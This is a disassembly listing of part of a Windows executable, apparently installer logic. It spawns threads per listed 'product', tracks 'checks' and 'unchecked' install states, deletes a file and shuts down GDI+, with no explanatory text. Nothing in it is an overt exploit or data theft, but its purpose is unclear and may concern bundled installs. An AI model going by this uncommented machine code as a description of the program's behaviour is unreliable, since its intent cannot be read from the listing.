push dword [0x46946c]
push 0x4366c1
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp dword [0x461ddc], 0xa
mov dword [ebp - 0x10c], eax
jne 0x43def1
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x120], esp
push str.closed
call fcn.0040189b
call fcn.00431017
add esp, 0x1c
push edi
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0x120], esp
push str._close_install_
call fcn.004018f6
call fcn.00436230
add esp, 0x20
push 0xffffffffffffffff
push dword [ebp - 0x10c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov esi, 0x469388
push esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push ebx
push dword [ebp - 0x130]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push dword [ebp - 0x130]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x400
call fcn.0041a4fc
mov dword [ebp - 0x134], eax
xor eax, eax
pop ecx
mov dword [ebp - 0x114], ebx
mov dword [ebp - 0x78], 7
mov dword [ebp - 0x7c], ebx
mov word [ebp - 0x8c], ax
mov byte [ebp - 4], 0x62
lea esi, [ebp - 0x1d8]
mov edi, 0x469490
mov dword [ebp - 0x130], ebx
mov byte [ebp - 0x105], 1
call fcn.00407df3
mov ecx, dword [eax]
mov eax, dword [eax + 4]
lea esi, [ebp - 0x1b4]
mov dword [ebp - 0x11c], ecx
mov dword [ebp - 0x118], eax
call fcn.0040adde
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x124], ecx
mov dword [ebp - 0x120], eax
cmp ecx, ebx
je 0x43dfa1
cmp ecx, dword [ebp - 0x11c]
je 0x43dfa6
call fcn.0041be0b
mov eax, dword [ebp - 0x120]
cmp eax, dword [ebp - 0x118]
je 0x43e012
lea esi, [ebp - 0x124]
call fcn.0041432a
mov edi, eax
lea esi, [ebp - 0x70]
call fcn.00407a2f
cmp byte [ebp - 0x54], bl
je 0x43dfd7
cmp dword [ebp - 0x50], 0x1f40
jl 0x43dffb
lea esi, [ebp - 0x6c]
call fcn.00408303
push dword [ebp - 0x6c]
call fcn.0041b820
pop ecx
lea esi, [ebp - 0x124]
call fcn.00407fb5
mov ecx, dword [ebp - 0x124]
jmp 0x43df95
lea esi, [ebp - 0x6c]
mov byte [ebp - 0x105], bl
call fcn.00408303
push dword [ebp - 0x6c]
call fcn.0041b820
pop ecx
lea eax, [ebp - 0x120]
lea ebx, [ebp - 0x12c]
mov dword [ebp - 0x120], 0x469490
call fcn.00409615
mov eax, ebx
mov dword [ebp - 0x118], eax
lea eax, [ebp - 0x120]
lea ebx, [ebp - 0x1b4]
call fcn.00409637
mov esi, dword [ebp - 0x118]
lea edi, [ebp - 0x1b4]
call fcn.00401ef5
test al, al
jne 0x43e20b
call fcn.0041432a
cmp byte [eax + 0x1c], 0
mov ecx, 0x108
jne 0x43e0e3
lea edi, [eax + 4]
mov eax, dword [edi + 0x10]
sub eax, dword [edi + 0xc]
xor ebx, ebx
cdq
idiv ecx
test eax, eax
jbe 0x43e1fb
push 0x45133c
push ebx
mov esi, edi
call fcn.00407d30
add eax, 0x70
push eax
lea eax, [ebp - 0x150]
push eax
call fcn.0040326b
add esp, 0xc
push 0xffffffffffffffff
push 0
lea esi, [ebp - 0x90]
mov byte [ebp - 4], 0x63
call fcn.004025c1
push 0
push 1
lea esi, [ebp - 0x150]
mov byte [ebp - 4], 0x62
call fcn.0040115a
mov eax, dword [edi + 0x10]
sub eax, dword [edi + 0xc]
mov ecx, 0x108
cdq
idiv ecx
inc ebx
cmp ebx, eax
jb 0x43e085
jmp 0x43e1fb
cmp byte [ebp - 0x105], 0
je 0x43e160
lea edi, [eax + 4]
mov eax, dword [edi + 0x10]
sub eax, dword [edi + 0xc]
xor ebx, ebx
cdq
idiv ecx
test eax, eax
jbe 0x43e1fb
push 0x45133c
push ebx
mov esi, edi
call fcn.00407d30
add eax, 0x70
push eax
lea eax, [ebp - 0x150]
push eax
call fcn.0040326b
add esp, 0xc
push 0xffffffffffffffff
push 0
lea esi, [ebp - 0x90]
mov byte [ebp - 4], 0x64
call fcn.004025c1
push 0
push 1
lea esi, [ebp - 0x150]
mov byte [ebp - 4], 0x62
call fcn.0040115a
mov eax, dword [edi + 0x10]
sub eax, dword [edi + 0xc]
mov ecx, 0x108
cdq
idiv ecx
inc ebx
cmp ebx, eax
jb 0x43e102
jmp 0x43e1fb
lea esi, [eax + 4]
mov eax, dword [esi + 0x10]
sub eax, dword [esi + 0xc]
xor edi, edi
cdq
idiv ecx
test eax, eax
jbe 0x43e1fb
call fcn.004309b4
push 0xf
cdq
pop ecx
idiv ecx
mov eax, dword [ebp - 0x130]
push edi
lea ebx, [edx + eax]
call fcn.00407d30
add dword [ebp - 0x130], 0x3c
mov dword [eax + 0x100], ebx
xor ebx, ebx
push ebx
push ebx
push edi
call fcn.00407d30
push eax
push 0x43678e
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
push edi
mov ebx, eax
call fcn.00407d30
push edi
mov dword [eax + 0xc4], ebx
call fcn.00407d30
mov eax, dword [eax + 0xc4]
mov edx, dword [ebp - 0x114]
mov ecx, dword [ebp - 0x134]
mov dword [ecx + edx*4], eax
mov eax, dword [esi + 0x10]
sub eax, dword [esi + 0xc]
mov ecx, 0x108
cdq
idiv ecx
inc dword [ebp - 0x114]
inc edi
cmp edi, eax
jb 0x43e176
mov esi, dword [ebp - 0x118]
call fcn.00407fb5
jmp 0x43e046
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, dword [ebp - 0x130]
imul ecx, ecx, 0x3e8
add eax, ecx
mov dword [ebp - 0x120], eax
mov eax, dword [ebp - 0x7c]
xor ebx, ebx
cmp eax, ebx
je 0x43e23a
dec eax
lea ecx, [ebp - 0x90]
call fcn.0040194d
lea edx, [ebp - 0x90]
lea ecx, [ebp - 0x150]
call fcn.0043ff7d
sub esp, 0x1c
mov ecx, esp
mov byte [ebp - 4], 0x65
mov dword [ebp - 0x118], esp
push eax
push str.unchecked
push ecx
call fcn.0040712e
add esp, 0xc
call fcn.00431017
add esp, 0x1c
push ebx
push 1
lea ecx, [ebp - 0x150]
mov byte [ebp - 4], 0x62
call fcn.00401722
xor eax, eax
lea edi, [ebp - 0x118]
stosb byte es:[edi], al
push dword [ebp - 0x118]
lea eax, [ebp - 0x74]
push str.checks2
call fcn.00409480
lea eax, [ebp - 0x74]
push eax
lea edi, [ebp - 0x11c]
lea ecx, [ebp - 0xe8]
mov byte [ebp - 4], 0x66
call fcn.004093a2
movzx eax, byte [eax]
neg eax
sbb eax, eax
test eax, method.std::basic_stringbuf_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__.virtual_52
setne byte [ebp - 0x105]
cmp byte [ebp - 0x11c], 0
je 0x43e2db
mov byte [ebp - 0x11c], 0
push ebx
push 1
lea esi, [ebp - 0x74]
mov byte [ebp - 4], 0x62
call fcn.0040115a
cmp byte [ebp - 0x105], 0
je 0x43e2fa
mov byte [0x469469], 1
lea ecx, [ebp - 0xe8]
call fcn.00438a37
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
push 0x437834
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x130], eax
mov eax, dword [0x4694b8]
sub eax, dword [0x4694b4]
push 0x24
cdq
pop ecx
idiv ecx
test eax, eax
je 0x43e4d9
push ebx
lea ecx, [ebp - 0x4c]
mov dword [ebp - 0x34], 0xf
call fcn.004017e9
mov byte [ebp - 4], 0x67
mov eax, dword [0x4694b8]
sub eax, dword [0x4694b4]
push 0x24
cdq
pop ecx
idiv ecx
mov dword [ebp - 0x128], ebx
test eax, eax
jbe 0x43e46f
push dword [ebp - 0x128]
and dword [ebp - 0x118], 0
mov ebx, 0x4694a8
mov esi, ebx
call fcn.00407e0f
mov ecx, eax
mov eax, dword [ecx + 0x14]
sub eax, dword [ecx + 0x10]
add ecx, 4
mov edi, 0x108
cdq
mov ecx, edi
idiv ecx
test eax, eax
jbe 0x43e44a
push dword [ebp - 0x118]
mov esi, ebx
push dword [ebp - 0x128]
call fcn.00407e0f
mov esi, eax
add esi, 4
call fcn.00407d30
mov edx, eax
add edx, 0x70
lea ecx, [ebp - 0x178]
call fcn.0043ff7d
push 0x451304
push eax
lea eax, [ebp - 0x150]
push eax
mov byte [ebp - 4], 0x68
call fcn.00407179
add esp, 0xc
push 0xffffffffffffffff
push 0
lea esi, [ebp - 0x4c]
mov byte [ebp - 4], 0x69
call fcn.004078a7
push 0
push 1
lea ecx, [ebp - 0x150]
call fcn.00401722
push 0
push 1
lea ecx, [ebp - 0x178]
mov byte [ebp - 4], 0x67
call fcn.00401722
push dword [ebp - 0x128]
inc dword [ebp - 0x118]
mov esi, ebx
call fcn.00407e0f
mov ecx, eax
mov eax, dword [ecx + 0x14]
sub eax, dword [ecx + 0x10]
add ecx, 4
cdq
mov ecx, edi
idiv ecx
cmp dword [ebp - 0x118], eax
jb 0x43e3a3
mov eax, dword [0x4694b8]
sub eax, dword [0x4694b4]
push 0x24
cdq
pop ecx
idiv ecx
inc dword [ebp - 0x128]
cmp dword [ebp - 0x128], eax
jb 0x43e36d
jmp 0x43e474
mov ebx, 0x4694a8
mov ecx, dword [ebp - 0x38]
test ecx, ecx
je 0x43e4a2
lea eax, [ecx - 1]
cmp eax, ecx
ja 0x43e48f
push 0xffffffffffffffff
push eax
lea ecx, [ebp - 0x4c]
call fcn.0040149b
jmp 0x43e4a2
mov ebx, eax
push 0
sub ebx, ecx
lea edi, [ebp - 0x4c]
call fcn.00406fa8
mov ebx, 0x4694a8
sub esp, 0x1c
mov eax, esp
mov dword [ebp - 0x118], esp
lea ecx, [ebp - 0x4c]
push ecx
push str.products2
push eax
call fcn.0040712e
add esp, 0xc
call fcn.00431017
add esp, 0x1c
push 0
push 1
lea ecx, [ebp - 0x4c]
mov byte [ebp - 4], 0x62
call fcn.00401722
jmp 0x43e4de
mov ebx, 0x4694a8
mov eax, dword [0x469434]
push 1
call fcn.004302d2
call fcn.00430308
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub dword [ebp - 0x120], eax
jns 0x43e501
xor ecx, ecx
jmp 0x43e512
mov eax, dword [ebp - 0x120]
mov ecx, 0x3e8
xor edx, edx
div ecx
mov ecx, eax
and dword [ebp - 0x98], 0
xor eax, eax
mov dword [ebp - 0x94], 7
mov word [ebp - 0xa8], ax
mov byte [ebp - 4], 0x6a
mov eax, dword [0x4694b8]
sub eax, dword [0x4694b4]
push 0x24
cdq
pop esi
idiv esi
test eax, eax
je 0x43e864
lea esi, [ebp - 0x1d8]
mov edi, ebx
mov dword [ebp - 0x120], ecx
mov byte [ebp - 0x105], 1
call fcn.00407df3
mov ecx, dword [eax]
mov eax, dword [eax + 4]
lea esi, [ebp - 0x1b4]
mov dword [ebp - 0x12c], ecx
mov dword [ebp - 0x128], eax
call fcn.0040adde
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x11c], ecx
mov dword [ebp - 0x118], eax
test ecx, ecx
je 0x43e59c
cmp ecx, dword [ebp - 0x12c]
je 0x43e5a1
call fcn.0041be0b
mov eax, dword [ebp - 0x118]
cmp eax, dword [ebp - 0x128]
je 0x43e60f
lea esi, [ebp - 0x11c]
call fcn.0041432a
mov edi, eax
lea esi, [ebp - 0x70]
call fcn.00407a2f
cmp byte [ebp - 0x54], 0
je 0x43e5d3
cmp dword [ebp - 0x50], 0x1f40
jl 0x43e5f7
lea esi, [ebp - 0x6c]
call fcn.00408303
push dword [ebp - 0x6c]
call fcn.0041b820
pop ecx
lea esi, [ebp - 0x11c]
call fcn.00407fb5
mov ecx, dword [ebp - 0x11c]
jmp 0x43e590
lea esi, [ebp - 0x6c]
mov byte [ebp - 0x105], 0
call fcn.00408303
push dword [ebp - 0x6c]
call fcn.0041b820
pop ecx
mov dword [ebp - 0x128], ebx
lea eax, [ebp - 0x128]
lea ebx, [ebp - 0x1b4]
call fcn.00409615
mov eax, ebx
mov dword [ebp - 0x118], eax
lea eax, [ebp - 0x128]
lea ebx, [ebp - 0x1d8]
call fcn.00409637
mov esi, dword [ebp - 0x118]
lea edi, [ebp - 0x1d8]
call fcn.00401ef5
test al, al
jne 0x43e804
call fcn.0041432a
cmp byte [eax + 0x1c], 0
mov ecx, 0x108
jne 0x43e6dc
lea edi, [eax + 4]
mov eax, dword [edi + 0x10]
sub eax, dword [edi + 0xc]
xor ebx, ebx
cdq
idiv ecx
test eax, eax
jbe 0x43e7f4
push 0x45133c
push ebx
mov esi, edi
call fcn.00407d30
add eax, 0x70
push eax
lea eax, [ebp - 0x150]
push eax
call fcn.0040326b
add esp, 0xc
push 0xffffffffffffffff
push 0
lea esi, [ebp - 0xac]
mov byte [ebp - 4], 0x6b
call fcn.004025c1
push 0
push 1
lea esi, [ebp - 0x150]
mov byte [ebp - 4], 0x6a
call fcn.0040115a
mov eax, dword [edi + 0x10]
sub eax, dword [edi + 0xc]
mov ecx, 0x108
cdq
idiv ecx
inc ebx
cmp ebx, eax
jb 0x43e67e
jmp 0x43e7f4
cmp byte [ebp - 0x105], 0
je 0x43e759
lea edi, [eax + 4]
mov eax, dword [edi + 0x10]
sub eax, dword [edi + 0xc]
xor ebx, ebx
cdq
idiv ecx
test eax, eax
jbe 0x43e7f4
push 0x45133c
push ebx
mov esi, edi
call fcn.00407d30
add eax, 0x70
push eax
lea eax, [ebp - 0x150]
push eax
call fcn.0040326b
add esp, 0xc
push 0xffffffffffffffff
push 0
lea esi, [ebp - 0xac]
mov byte [ebp - 4], 0x6c
call fcn.004025c1
push 0
push 1
lea esi, [ebp - 0x150]
mov byte [ebp - 4], 0x6a
call fcn.0040115a
mov eax, dword [edi + 0x10]
sub eax, dword [edi + 0xc]
mov ecx, 0x108
cdq
idiv ecx
inc ebx
cmp ebx, eax
jb 0x43e6fb
jmp 0x43e7f4
lea esi, [eax + 4]
mov eax, dword [esi + 0x10]
sub eax, dword [esi + 0xc]
xor edi, edi
cdq
idiv ecx
test eax, eax
jbe 0x43e7f4
call fcn.004309b4
push 0xf
cdq
pop ecx
idiv ecx
mov eax, dword [ebp - 0x120]
push edi
lea ebx, [edx + eax]
call fcn.00407d30
add dword [ebp - 0x120], 0x3c
mov dword [eax + 0x100], ebx
xor ebx, ebx
push ebx
push ebx
push edi
call fcn.00407d30
push eax
push 0x43678e
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
push edi
mov ebx, eax
call fcn.00407d30
push edi
mov dword [eax + 0xc4], ebx
call fcn.00407d30
mov eax, dword [eax + 0xc4]
mov edx, dword [ebp - 0x114]
mov ecx, dword [ebp - 0x134]
mov dword [ecx + edx*4], eax
mov eax, dword [esi + 0x10]
sub eax, dword [esi + 0xc]
mov ecx, 0x108
cdq
idiv ecx
inc dword [ebp - 0x114]
inc edi
cmp edi, eax
jb 0x43e76f
mov esi, dword [ebp - 0x118]
call fcn.00407fb5
jmp 0x43e63f
mov eax, dword [ebp - 0x98]
test eax, eax
je 0x43e81a
dec eax
lea ecx, [ebp - 0xac]
call fcn.0040194d
lea edx, [ebp - 0xac]
lea ecx, [ebp - 0x150]
call fcn.0043ff7d
sub esp, 0x1c
mov ecx, esp
mov byte [ebp - 4], 0x6d
mov dword [ebp - 0x120], esp
push eax
push str.unchecked2
push ecx
call fcn.0040712e
add esp, 0xc
call fcn.00431017
add esp, 0x1c
push 0
push 1
lea ecx, [ebp - 0x150]
mov byte [ebp - 4], 0x6a
call fcn.00401722
push 0
push dword [ebp - 0x130]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push dword [ebp - 0x130]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
cmp byte [0x461cd4], 0
jne 0x43e8ac
cmp dword [0x461f78], 0
je 0x43e8ac
cmp dword [0x461f7c], 8
mov eax, dword [0x461f68]
jae 0x43e8a5
mov eax, 0x461f68
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [0x469334]
call fcn.0041c097
push dword [0x469330]
call fcn.0041b820
mov edi, dword [sym.imp.USER32.dll_KillTimer]
pop ecx
pop ecx
push dword [0x469324]
push dword [0x469328]
call edi
mov eax, dword [0x469320]
push dword [0x469318]
mov eax, dword [eax + 4]
push eax
call edi
xor edi, edi
cmp dword [ebp - 0x7c], edi
je 0x43e920
push 1
sub esp, 0x1c
mov eax, esp
mov dword [ebp - 0x120], esp
lea ecx, [ebp - 0x90]
push ecx
push str._unchecked_install_products
push eax
call fcn.004032fc
add esp, 0xc
call fcn.00436230
add esp, 0x20
cmp dword [ebp - 0x98], edi
je 0x43e952
push 1
sub esp, 0x1c
mov eax, esp
mov dword [ebp - 0x120], esp
lea ecx, [ebp - 0xac]
push ecx
push str._unchecked_install_products2
push eax
call fcn.004032fc
add esp, 0xc
call fcn.00436230
add esp, 0x20
push 0xffffffffffffffff
push 1
push dword [ebp - 0x134]
push dword [ebp - 0x114]
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
push dword [ebp - 0x134]
call fcn.0041b820
pop ecx
push 0xffffffffffffffff
push dword [ebp - 0x10c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x10c]
call esi
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x10c], esp
push str.closed
call fcn.0040189b
call fcn.00431017
add esp, 0x1c
push dword [0x4693a0]
call sub.gdiplus.dll_GdiplusShutdown
push edi
jmp 0x43deeb